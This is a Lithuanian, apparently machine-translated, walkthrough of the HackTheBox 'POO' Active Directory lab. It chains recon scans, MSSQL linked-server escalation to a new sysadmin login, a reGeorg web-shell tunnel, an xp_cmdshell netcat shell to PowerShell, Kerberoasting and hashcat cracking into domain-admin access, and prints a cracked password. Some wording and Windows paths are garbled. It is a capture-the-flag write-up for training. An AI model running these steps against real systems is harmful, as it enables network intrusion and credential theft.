HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Šiame straipsnyje mes analizuosime ne tik mašinos, bet ir visos mini laboratorijos išėjimą iš svetainės HackTheBox.

Kaip nurodyta aprašyme, POO yra sukurta siekiant išbandyti įgūdžius visuose atakų etapuose nedidelėje Active Directory aplinkoje. Tikslas yra pažeisti turimą pagrindinį kompiuterį, išplėsti privilegijas ir galiausiai pakenkti visam domenui, renkant 5 vėliavėles.

Ryšys su laboratorija vyksta per VPN. Rekomenduojame nesijungti iš veikiančio kompiuterio ar kompiuterio, kuriame yra jums svarbūs duomenys, nes patenkate į privatų tinklą su žmonėmis, kurie ką nors išmano apie informacijos saugumą 🙂

organizacinė informacija
Kad galėtumėte sužinoti apie naujus straipsnius, programinę įrangą ir kitą informaciją, sukūriau Telegramos kanalas и grupėje aptarti bet kokius klausimus IIKB srityje. Taip pat jūsų asmeniniai prašymai, klausimai, pasiūlymai ir rekomendacijos Pažiūrėsiu ir visiems atsakysiu..

Visa informacija pateikiama tik švietimo tikslais. Šio dokumento autorius neprisiima atsakomybės už bet kokią žalą, padarytą niekam dėl žinių ir metodų, gautų studijuojant šį dokumentą, panaudojimo.

Įvadas

Šis galutinis žaidimas susideda iš dviejų mašinų ir yra 5 vėliavėlės.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taip pat pateikiamas turimo pagrindinio kompiuterio aprašymas ir adresas.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Pradėkime!

Žvalgo vėliava

Šio įrenginio IP adresas yra 10.13.38.11, kurį pridedu prie /etc/hosts.
10.13.38.11 poo.htb

Pirmasis žingsnis yra nuskaityti atvirus prievadus. Kadangi su nmap nuskaityti visus prievadus užtrunka ilgai, tai pirmiausia tai padarysiu su masscan. Nuskaitome visus TCP ir UDP prievadus iš tun0 sąsajos 500 pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Dabar, norėdami gauti išsamesnės informacijos apie prievaduose veikiančias paslaugas, paleiskite nuskaitymą naudodami parinktį -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi, mes turime IIS ir MSSQL paslaugas. Tokiu atveju išsiaiškinsime tikrąjį domeno ir kompiuterio DNS pavadinimą. Žiniatinklio serveryje mus pasitinka pagrindinis IIS puslapis.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Pakartokime katalogus. Tam naudoju gobuster. Parametruose nurodome srautų skaičių 128 (-t), URL (-u), žodyną (-w) ir mus dominančius plėtinius (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi turime HTTP autentifikavimą /admin katalogui, taip pat pasiekiamą .DS_Store darbalaukio paslaugos saugyklos failą. .DS_Store yra failai, kuriuose saugomi aplanko vartotojo nustatymai, pvz., failų sąrašas, piktogramos vieta, pasirinktas fono vaizdas. Toks failas gali patekti į žiniatinklio kūrėjų žiniatinklio serverio katalogą. Taigi gauname informaciją apie katalogo turinį. Tam galite naudoti DS_Store Crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Gauname katalogo turinį. Įdomiausias dalykas čia yra /dev katalogas, iš kurio galime matyti šaltinius ir db failus dviem šakomis. Tačiau galime naudoti pirmuosius 6 failų ir katalogų pavadinimų simbolius, jei paslauga yra pažeidžiama IIS ShortName. Galite patikrinti, ar nėra šio pažeidžiamumo, naudodami IIS trumpojo pavadinimo skaitytuvas.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir mes randame vieną tekstinį failą, kuris prasideda "poo_co". Nežinodama, ką daryti toliau, tiesiog iš katalogų žodyno išsirinkau visus žodžius, prasidedančius „co“.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Ir kartokite su wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir rask tinkamą žodį! Pažiūrime šį failą, išsaugome kredencialus (vertinant pagal DBNAME parametrą, jie yra iš MSSQL).

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Paduodame vėliavą, ir 20 proc.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Huh vėliava

Jungiamės prie MSSQL, aš naudoju DBeaver.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Šioje duomenų bazėje nieko įdomaus nerandame, sukurkime SQL redaktorių ir patikrinkime, kokie yra vartotojai.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Turime du vartotojus. Patikrinkime savo privilegijas.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi privilegijų nėra. Pažiūrėkime susietus serverius, apie šią techniką rašiau išsamiai čia.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi randame kitą SQL serverį. Patikrinkime komandų vykdymą šiame serveryje naudodami openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir netgi galime sukurti užklausų medį.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktas yra tas, kad kai pateikiame užklausą susietam serveriui, užklausa vykdoma kito vartotojo kontekste! Pažiūrėkime, kokį vartotojo kontekstą veikiame susietame serveryje.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

O dabar pažiūrėkime, kokiame kontekste vykdoma užklausa iš susieto serverio į mūsų!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi, tai yra DBO kontekstas, kuris turi turėti visas privilegijas. Patikrinkime privilegijas, jei užklausa iš susieto serverio.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Kaip matote, mes turime visas privilegijas! Sukurkime savo administratorių taip. Bet jie neleidžia jiems naudoti atvirosios užklausos, padarykime tai per EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

O dabar susisiekiame su naujojo vartotojo kredencialais, stebime naują vėliavėlių duomenų bazę.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Paduodame šią vėliavą ir einame toliau.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Vėliava vėliavėlė

Gaukime apvalkalą naudodami MSSQL, aš naudoju mssqlclient iš impacket paketo.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Turime gauti slaptažodžius, o pirmas dalykas, kurį jau sutikome, yra svetainė. Taigi mums reikia žiniatinklio serverio konfigūracijos (neįmanoma išmesti patogaus apvalkalo, matyt, ugniasienė veikia).

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Tačiau prieiga uždrausta. Nors galime nuskaityti failą iš MSSQL, mums tereikia žinoti, kokios programavimo kalbos yra sukonfigūruotos. O MSSQL kataloge sužinome, kad yra Python.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Tada nėra jokių problemų skaityti web.config failą.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Radę kredencialus, eikite į /admin ir pasiimkite vėliavėlę.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

pėdos vėliava

Tiesą sakant, naudojant užkardą kyla tam tikrų nepatogumų, tačiau peržvelgę ​​tinklo nustatymus pastebime, kad naudojamas ir IPv6 protokolas!

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Pridėkite šį adresą prie /etc/hosts.
dead:babe::1001 poo6.htb
Dar kartą nuskaitykime pagrindinį kompiuterį, bet šį kartą per IPv6.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

„WinRM“ paslauga pasiekiama per IPv6. Susisiekime su rastais kredencialais.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ant darbastalio yra vėliavėlė, perduokite ją.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

P00ned vėliava

Po žvalgybos ant šeimininko su vynuogių žirniai nieko ypatingo nerandame. Tada buvo nuspręsta vėl ieškoti įgaliojimų (aš taip pat rašiau šia tema straipsnis). Bet aš negalėjau gauti visų SPN iš sistemos per WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Vykdykime komandą per MSSQL.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Tokiu būdu gauname vartotojų SPN p00_hr ir p00_adm, o tai reiškia, kad jie yra pažeidžiami atakų, tokių kaip Kerberoasting. Trumpai tariant, galime gauti jų slaptažodžių maišą.

Pirmiausia turite gauti stabilų apvalkalą MSSQL vartotojo vardu. Bet kadangi mūsų prieiga yra ribota, ryšį su pagrindiniu kompiuteriu turime tik per 80 ir 1433 prievadus. Tačiau tuneliu eismą galima nukreipti per 80 uostą! Tam mes naudojame kitą paraišką. Įkelkime failą tunnel.aspx į pagrindinį žiniatinklio serverio katalogą – C: inetpubwwwroot.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Bet kai bandome prieiti, gauname klaidą 404. Tai reiškia, kad *.aspx failai nevykdomi. Norėdami, kad failai su šiais plėtiniais veiktų, įdiekite ASP.NET 4.5, kaip nurodyta toliau.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir dabar, prisijungę prie tunnel.aspx, gauname atsakymą, kad viskas paruošta.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Pradėkime programos kliento dalį, kuri perduos srautą. Perduosime visą srautą iš 5432 prievado į serverį.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir mes naudojame tarpines grandines, norėdami siųsti bet kokios programos srautą per tarpinį serverį. Pridėkime šį tarpinį serverį prie /etc/proxychains.conf konfigūracijos failo.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Dabar įkelkime programą į serverį netcat, su kuriuo padarysime stabilų įrišimo apvalkalą ir scenarijų Iškvieskite Kerberoast, su kuriuo atliksime Kerberoasting ataką.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Dabar per MSSQL paleidžiame klausytoją.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir mes jungiamės per tarpinį serverį.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ir gaukime maišos.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Tada turite pakartoti šias maišas. Kadangi rockyou slaptažodžių duomenų žodyno neturėjo, naudojau VISUS slaptažodžių žodynus, pateiktus Seclists. Išvardinimui naudojame hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Ir abu slaptažodžius randame – pirmąjį dutch_passwordlist.txt žodyne, o antrąjį – Keyboard-Combinations.txt.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi turime tris vartotojus, einame į domeno valdiklį. Pirmiausia išsiaiškinkime jo adresą.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Puiku, mes sužinojome domeno valdiklio IP adresą. Sužinokime visus domeno vartotojus, taip pat kuris iš jų yra administratorius. Norėdami atsisiųsti scenarijų ir gauti informacijos PowerView.ps1. Tada mes prisijungsime naudodami evil-winrm, nurodydami katalogą su scenarijumi parametre -s. Tada tiesiog įkelkite „PowerView“ scenarijų.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Dabar turime prieigą prie visų jo funkcijų. P00_adm vartotojas atrodo kaip privilegijuotas vartotojas, todėl dirbsime jo kontekste. Sukurkime šiam vartotojui PSCredential objektą.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Dabar visos „Powershell“ komandos, kuriose nurodome „Creds“, bus vykdomos p00_adm vardu. Parodykime vartotojų sąrašą ir atributą AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Taigi, mūsų vartotojas yra tikrai privilegijuotas. Pažiūrėkime, kurioms grupėms jis priklauso.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Galiausiai patvirtiname, kad vartotojas yra domeno administratorius. Tai suteikia teisę nuotoliniu būdu prisijungti prie domeno valdiklio. Pabandykime prisijungti prie WinRM naudodami mūsų tunelį. Buvau suglumęs dėl klaidų, kurias išleido reGeorg naudojant evil-winrm.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Tada naudojame kitą, lengvesnį, scenarijus prisijungti prie WinRM. Atidarykite ir pakeiskite ryšio parametrus.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Bandome prisijungti, ir esame sistemoje.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Bet vėliavos nėra. Tada pažiūrėkite į vartotoją ir patikrinkite stalinius kompiuterius.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Ties mr3ks randame vėliavėlę ir laboratorija 100% baigta.

HackTheBoxendgame. Profesionalių puolimo operacijų laboratorijos ištrauka. Pentest Active Directory

Tai viskas. Kaip atsiliepimą pakomentuokite, ar sužinojote ką nors naujo iš šio straipsnio ir ar jis jums buvo naudingas.

Prie mūsų galite prisijungti adresu Telegram. Čia galite rasti įdomios medžiagos, sujungtų kursų, taip pat programinės įrangos. Suburkime bendruomenę, kurioje atsiras daug IT sričių išmanančių žmonių, tuomet visada galėsime padėti vieni kitiems bet kokiais IT ir informacijos saugumo klausimais.

Šaltinis: www.habr.com

Добавить комментарий